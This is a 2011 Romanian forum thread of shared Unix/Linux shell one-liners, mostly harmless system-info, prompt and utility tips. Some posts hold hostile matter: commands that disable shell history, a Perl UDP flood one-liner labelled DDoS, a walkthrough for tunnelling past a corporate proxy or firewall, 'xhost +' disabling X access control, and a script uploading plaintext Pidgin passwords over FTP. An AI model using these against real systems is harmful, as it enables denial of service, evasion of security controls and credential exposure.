pyth0n3 Posted November 12, 2011 Report Posted November 12, 2011 (edited) Am creat acest topic cu urm?torul scop:Fiecare poate aduce cate un block de code care face ceva util in sistem , poate fi rulat direct din shell , poate fi scris in orice fel de limbaj de programare suportat de c?tre sistemele *Nix-Like.Vreau sa fie ceva interactiv , deci in momentul in care eu prezint o bucata de cod , oricine imi poate face quote cu o alternativa mai usoara sau mai complicata.Incepem asa:Afiseaza adresa ip externa folosind libnotify-binRequires: wget, libnotify-binOS:Linux notify-send "Your ip is" "`wget -qO- http://whatismyip.org/`"Cine are alternative imi face quote si isi propune alternativa , daca nu propune o alta bucata de cod care face altceva si mergem mai departeDepinde doar de imaginatia voastra, codul poate sa faca orice Edited November 12, 2011 by pyth0n3 1 Quote
pyth0n3 Posted November 12, 2011 Author Report Posted November 12, 2011 (edited) Afiseaza tara unde te afli in baza ip-ului pe care il ai folosind libnotify-binRequires: wget ,libnotify-binOS:Linuxnotify-send "Your Location is:" "` wget -qO- [url]http://www.ip-address.org/[/url] |grep "Country:" | awk '{print $41}' | sed "s/ <img//g"`"Are un mic bug la vizualizarea unor tari, care il gaseste?Astept alte bucati de cod Edited November 12, 2011 by pyth0n3 Quote
adonisslanic Posted November 12, 2011 Report Posted November 12, 2011 (edited) Afiseaza scurt si la obiect modelul procesorului, cat ram total ai si ce uptime ai.Requires: bashOS: Linuxecho " Procesor" && cat /proc/cpuinfo | grep "model name"| cut -d ":" -f2 && echo " RAM" && cat /proc/meminfo | grep "MemTotal" | cut -d":" -f2 && echo " Uptime" && uptime | cut -d"u" -f1Print:Click me :3Ar fi bine sa fie puse si printuri cu outputul comenzii, si codul sa fie pus cu Quote, nu cu Code, din cauza ca in acest fel poti vedea tot codul fara sa dai horizontal scroll :3 Edited November 12, 2011 by adonisslanic Quote
pyth0n3 Posted November 12, 2011 Author Report Posted November 12, 2011 (edited) Cmdline pastebin/editor , creaza un fisier de text , genereaza in automat un link catre textul hostat si il copie in clipboard ,trebuie doar facut paste in browser Dupa ce vine scris mesajul va trebui digitat EOF , aceasta sintaxa inchide editarea textului.Requires: xsel,curl,libnotify-binOS:Linuxcat <<EOF | curl -F 'sprunge=<-' [url]http://sprunge.us[/url] | xsel -b -i && notify-send "Url copied to clipboard , just paste to browser" Note: Pentru syntax highlighting trebuie doar adaugat ?<lang> la sfarsitul url-uluiLight Version, face output la link in terminalRequires:curlOS:Linuxcat <<EOF | curl -F 'sprunge=<-' [url]http://sprunge.us[/url] Edited November 12, 2011 by pyth0n3 Quote
pyth0n3 Posted November 12, 2011 Author Report Posted November 12, 2011 (edited) Ar fi bine sa fie puse si printuri cu outputul comenzii, si codul sa fie pus cu Quote, nu cu Code, din cauza ca in acest fel poti vedea tot codul fara sa dai horizontal scroll :3Din pacate daca pui quote la cod in momentul in care vrei sa faci quote la un user codul scris in precedenta intre quote dispare si nu reusesti sa iti dai seama la ce ai facut quote.Duce in eroare .System,Release ,Platform ,Machine, Processor,Architecture,VersionRequires: pythonOS:Cross platform python -c "import platform;print'---'*18; print 'System :', platform.system(); print 'Release :', platform.release();print 'Platform :', platform.platform();print 'Machine :', platform.machine();print 'Processor:', platform.processor();print 'Architec :', ' '.join(platform.architecture());print 'Version :', platform.version() ;print '---'*18" Edited November 12, 2011 by pyth0n3 Quote
aelius Posted November 12, 2011 Report Posted November 12, 2011 Simple http server cu python. Se listeaza pe port 8000 si este util cand dorim sa punem ceva disponibil pe web, fara a avea apache sau alt daemon instalat.python -c "import SimpleHTTPServer;SimpleHTTPServer.test()"Acelasi lucru, insa se listeaza pe port 80python -m SimpleHTTPServer 80 1 Quote
aelius Posted November 12, 2011 Report Posted November 12, 2011 Generare de parole sigure din CLI:tr -dc A-Za-z0-9_ < /dev/urandom | head -c 20 | xargsopenssl rand -base64 12openssl rand -base64 37 | cut -c1-37openssl rand -base64 37 | sed -e 's/^\(.\{37\}\).*/\1/g'openssl rand -base64 37 | awk 'BEGIN{FS=""} {for (i=1;i<=37;i++) printf("%s",$i);} {printf "\n"}' 1 Quote
aelius Posted November 12, 2011 Report Posted November 12, 2011 Screenshot la consola, cand suntem conectati remote, prin ssh:vidcontrol -p < /dev/ttyv0 | scr2png -v > screenshot.png Quote
pyth0n3 Posted November 12, 2011 Author Report Posted November 12, 2011 (edited) Screenshot la consola, cand suntem conectati remote, prin ssh:vidcontrol -p < /dev/ttyv0 | scr2png -v > screenshot.pngvidcontrol se gaseste in sistemele BSD , poate fi gasit si in Kfreebsd O alternativa: cat /dev/vcs1 > tty1 && less tty1vcs1=tty1vcs2=tty2vcs3=tty3vcs4=tty4vcs5=tty5vcs6=tty6vcs7=tty7Si inca una care de fapt merge pe acelasi principiusudo setterm -dump 1 && less screen.dump Unde 1 este numarul de la primul tty Edited November 12, 2011 by pyth0n3 1 Quote
Xander Posted November 13, 2011 Report Posted November 13, 2011 alias c=clearalias x=exit) primele chestii care le bag in profile la un sistem nou... sunt mort fara ele Quote
aelius Posted November 13, 2011 Report Posted November 13, 2011 alias c=clearalias x=exit) primele chestii care le bag in profile la un sistem nou... sunt mort fara eleFrate, bine ca nu ai zis:unset HISTFILE HISTZONE HISTSIZE HISTFILESIZE HISTTIMEFORMATexport HISTSIZE=0 ; export HISTFILESIZE=0 ; export HISTFILE=/dev/null) Quote
pyth0n3 Posted November 13, 2011 Author Report Posted November 13, 2011 (edited) Red-Hat like custom prompt Requires:sh or bashOS:Linuxcd && echo -e 'if [ $(id -u) -eq 0 ];\nthen\n\tPS1="\\[$(tput setaf 1)\\][\\u@\\h:\\w]# \\[$(tput sgr0)\\]"\nelse\n\tPS1="[\\u@\\h:\\w]$ "\nfi' > .newlook && sh -c "if grep -q .newlook .bashrc ; then clear && echo Already done! ; else echo 'source .newlook' >> .bashrc && clear && echo Done ; fi" Bring me backcd && >.newlook@tex Uneori ai nevoie si de history ,iar atata timp cat e pc-ul tau si e si criptat poti sa faci si putina history Edited November 13, 2011 by pyth0n3 Quote
aelius Posted November 14, 2011 Report Posted November 14, 2011 @tex Uneori ai nevoie si de history ,iar atata timp cat e pc-ul tau si e si criptat poti sa faci si putina history// offtopicJust kidding. Eu am history si de acum 2 ani. Maresc HISTSIZE, HISTFILESIZE si modific HISTTIMEFORMAT pentru a vedea data exacta.// ontopicDDoS din CLI cu perl.perl -e 'use Socket; socket(rtfm, PF_INET, SOCK_DGRAM, 0); for ( { send(rtfm, 0, 0, sockaddr_in(80, inet_aton("10.0.0.12"))); }' Quote
pyth0n3 Posted November 14, 2011 Author Report Posted November 14, 2011 Change default shell to Korn Shell, enable vi-style file completion and make AIX like shell promt Note:To complete a file or directory name with vi set press the ESC key and then the \ (backward slash) key. (Could also work tab completion in some cases.)Requires:chsh,kshOS:Linuxchsh -s /bin/ksh && echo -e 'if [ -z "$VISUAL" -a -z "$EDITOR" ]; then\n\tset -o vi\nfi\ncd $HOME\nPS1="[`logname`@`hostname -s`]/>"' > $HOME/.kshrcGo Bash againchsh -s /bin/bash HTML_to_PDF converterTransform html to pdfJoin created pdf into 1 big pdf file Must run in the same directory where files are storedBug/Error:You may encounter an error when a filename have a space Example: it will process atest.html but not a test.html Will save the file to "random_value_big.pdf" in the same directory Requires:wkhtmltopdf,pdftkOS:Linuxfor f in *.html ; do wkhtmltopdf --ignore-load-errors $f $f.pdf ; done && pdftk *.pdf cat output `date +%s`_big.pdf && clear && echo "Done." Quote
pyth0n3 Posted November 22, 2011 Author Report Posted November 22, 2011 (edited) Show machine, software revision and patch revi-sion information ,determine physical memoryDisplay instruction set architectures ,displays information about processors.OS:Unix-Solarisclear && echo "###" && showrev && prtconf | grep -i Memory && echo "Architecture" `isainfo -bv` && psrinfo -pv && echo "###" Edited November 22, 2011 by pyth0n3 Quote
pyth0n3 Posted November 28, 2011 Author Report Posted November 28, 2011 OS:LinuxGet machine MACsudo ifconfig | grep -i HWaddr | awk '{print $5}'Get machine ipsudo ifconfig | grep -i "inet addr:" |awk "{print $2}" | sed "s/addr://g"Care imi da o alternativa mai simpla pentru fiecare exemplu in parte? 1 Quote
robertutzu Posted November 28, 2011 Report Posted November 28, 2011 OS: LinuxGet machine MAC:ifconfig -a Get machine IP:$ /sbin/ifconfig Quote
em Posted November 28, 2011 Report Posted November 28, 2011 OS:WindowsGet machine MACCMDgetmacPowerShellipconfig /all | Select-String PhyEchivalentul lui diff din linuxfc fisier1 fisier2 1 Quote
pyth0n3 Posted November 28, 2011 Author Report Posted November 28, 2011 (edited) @robertutzu Ruleaza comenzile pe care le-am scris eu , ruleaza comenzile taleVezi daca e o diferenta intre output Edited November 28, 2011 by pyth0n3 Quote
pyth0n3 Posted November 29, 2011 Author Report Posted November 29, 2011 (edited) Corporation HTTP Firewall/Proxy bypass OS:Unix/LinuxRequires: corkscrew ssh client/serverSe insaleaza serverul SSH pe un pc acasa,un server dedicat ,host privat .etc, trebuie configurat sa ruleze pe portul 443 Note: De obicei 443 nu vine blocat de catre un enterprise Pe pc-ul de la munca se ruleaza urmatoarea linie de cod in cazul in care se foloseste un proxy http care nu necesita loginecho -e "Host NAME\nHostname IP\n\tUser USERNAME\n\tPort PORTNUMBER\nProxyCommand `whence corkscrew` PROXY PORT %h %p" > $HOME/.ssh/test ; clear && cat $HOME/.ssh/testPe pc-ul de la munca se ruleaza urmatoarea linie de cod in cazul in care se foloseste un proxy http care necesita loginecho -e "Host NAME\nHostname IP\n\tUser USERNAME\n\tPort PORTNUMBER\nProxyCommand `whence corkscrew` PROXY PORT %h %p $HOME/.ssh/auth_proxy" > $HOME/.ssh/test ; clear && cat $HOME/.ssh/testSetare user si pass pt proxy echo "PROXYUSER:PROXYPASS" > $HOME/.ssh/auth_proxyUnde modificam:NAME -> Un alias pentru host poate fi oricare nume EX:mylabIP -> Adresa ip a serverului ssh de acasa EX:myprivate.network.orgUSERNAME -> Username pt ssh Ex:rootPORTNUMBER -> Portul pt ssh Recomand 443 (Nu vine blocat de catre Firewall/Proxy)PROXY -> Adresa de proxy unde vreti sa faceti bypass (adresa de proxy a companiei) Ex:corporation.spy.mePORT -> Portul unde ruleaza acest proxy Ex:8080PROXYUSER -> username-ul de la proxy PROXYPASS -> password-ul de la proxySe ruleaza urmatorul comand pentru a crea conexiuneassh -D 3232 mylab Daca conexiunea are success trebuie doar configurat browserul cu un proxy pe localhost pe portul 3232Note: Portul poate fi ales oricareIn acest caz datele vor trece printun tunnel criptat si nimeni nu isi va baga nasulOricum exista diverse variante pentru a face bypass la un proxy sau firewall, aceasta este una din ele si este destul de simpla.Astept alternativele voastre cu alte linii de cod pentru asa ceva Edited November 29, 2011 by pyth0n3 Quote
pyth0n3 Posted December 1, 2011 Author Report Posted December 1, 2011 (edited) OS:Unix/LinuxShell: BashSet vi Command-line Editing mode as default in bash echo "set -o vi" >> $HOME/.bashrc && source ~/.bashrcOupsss! vi is not for me , "I Can't Handle This" please bring me back to emacs-like editing modeGo back Emacs editing mode like it was before cd $HOME && sed -i'.bak' '/set -o vi/d' .bashrc && source ~/.bashrc Edited December 1, 2011 by pyth0n3 Quote
pr00f Posted December 4, 2011 Report Posted December 4, 2011 OS : LinuxSimple FTP back-up. Exemplu folosit : Pidgin (salveaza parola în plaintext + log-urile frumos în HTML).#!/bin/bashcd $HOME/.purple/UDIRX='pwd'HOST='www.site.ro'FUSER='ftpuser'PASSWD='ftppasswd'tar -cf $USER.tar 'logs/' 'accounts.xml'ftp -n -v $HOST << EOTasciiuser $FUSER $PASSWDpromptmkdir $USERcd $USERmput $USER.tar $UDIRXbyeEOTrm -rf $USER.tar Quote
Flubber Posted December 5, 2011 Report Posted December 5, 2011 (edited) Personalizare cli (acest exemplu functioneaza doar daca masina voastra suporta si are implementata "functia" TPUT), din[user@masina director] $ <YADA YADA YADA>in[[COLOR=#ff0000]TERM[/COLOR] [COLOR=#ff0000]bash[/COLOR](shell-ul preferat sau activ in momentul real):[COLOR=#696969]~[/COLOR](~ - working directory activ, full path)] $ (drepturile user-ului activ: $ pentru non-root; # pentru root>adica: [[COLOR=#ff0000]TERM[/COLOR] [COLOR=#ff0000]bash[/COLOR]:[COLOR=#696969]~[/COLOR]] $> <YADA YADA YADA>echo 'export PS1="[\[$(tput [B]setaf 1[/B])\][B]TERM[/B] [B]\s[/B]\[$(tput sgr 0)\]:\[$(tput [B]setaf 1.1[/B])\][B]\w[/B]\[$(tput [B]sgr 0[/B])\]] [B]\$[/B]> "' >> ~/.bashrcundeTERM - terminal prescurtat (puteti pune orice vreti sau sa-l stergeti)\s - shell-ul activ preferat (folositi chsh a.k.a. `change shell' daca preferati alt shell in afara de bash -- cat /etc/shells pentru a vedea lista de login shell-uri disponibile)\w - pwd a.k.a. `print working directory' - full path, daca doriti doar directorul in care sunteti activ, folositi W ; exemplu: 1. w - ~\Porn\Alicia Stone\Pedobear made me happy 2011\ unde 2. W: Pedobear made me happy 2011\$ - drepturile utilizatorului la momentul respectiv, in *NIX: $ - alte drepturi decat cele root; # - drepturi sau utilizatorul, rootsetaf 1 - rosusgr 0 - reset to normalsetaf 1.1 - pentru gri[!] Daca la executarea `sudo su' nu vi se schimba "indicatorul de acces" ($ in # si vice-versa) incercati aceasta metoda (la mine a functionat):Copiati urmatoarele linii de cod in ~/.bashrc (cel pentru user-ul vostru) si /root/.bashrc (cel pentru user-ul root)if [ $(id -u) -eq 0 ]; then export PS1="[\[$(tput setaf 1)\]TERM \s\[$(tput sgr 0)\]:\[$(tput setaf 1.1)\]\w\[$(tput sgr 0)\]] #> "else export PS1="[\[$(tput setaf 1)\]TERM \s\[$(tput sgr 0)\]:\[$(tput setaf 1.1)\]\w\[$(tput sgr 0)\]] $> "fiAduceti schimbarile de rigoare pentru a modifica dupa placere.[!] In caz ca sunt probleme cand executati `ls' (nu va arata culorile specifice directoarelor, fisierelor etc.), adaugati alias-ul:alias ls="ls --color" sau alias ls="ls --color -a" daca doriti sa folositi `list all'; in ~/.bashrc sau ~/.bash_profile, depinde ce utilizati pentru alias-uriIar mai simplu:sed -i '$ialias ls="ls --color"' ~/.bashrc^ pentru listsed -i '$ialias ls="ls --color -a"' ~/.bashrc^ pentru list allMai multe la1] How to: Change / Setup bash custom prompt (PS1)2] BASH Shell change the color of my shell prompt under Linux or UNIX3] https://wiki.archlinux.org/index.php/Color_Bash_PromptCand nu vrem sa-l facem pe gdb sa taca mereu la fiecare folosire in legatura cu versiunea lui si licenta folosita, utilizam alias-ul:sed -i '$ialias gdb="gdb --quiet"' ~/.bashrc Edited December 6, 2011 by Flubber fix indicator acces user Quote
pyth0n3 Posted December 14, 2011 Author Report Posted December 14, 2011 (edited) Umatoarea procedura poate fi folositoare intrun range local de peste 500 de servere spre exemplu pentru a face rlogin in fiecare server fara username si pass .Note: De preferat vine folosita intro retea care are diverse sisteme operative mai vechi pentru compatibilitate intre ele de altfel poate fi o problema de securitate.Configurarea vina facuta pe computerul care va administra celelalte sisteme , in cazul meu spre exemplu ruleaza un sistem operativ Solaris 11Os:Unix-Solaris10/11Requires.Service Management Facility (SMF) (Este inclus de default in sistem incepand cu versiunea 10)Enable Xserver to listen on TCP port (disabled by default)svccfg -s svc:/application/x11/x11-server setprop options/tcp_listen=trueCheck status svccfg -s svc:/application/x11/x11-server setprop options/tcp_listenEnable access control for X serverxhost +Restart GDM (Will restart X server , changes will take effect )svcadm restart gdmCheck if the X server is listeningnetstat -naf inet | grep 6000 Edited December 14, 2011 by pyth0n3 Quote
pyth0n3 Posted December 26, 2011 Author Report Posted December 26, 2011 Show system architecture 32 or 64Os:Linux getconf LONG_BIT Quote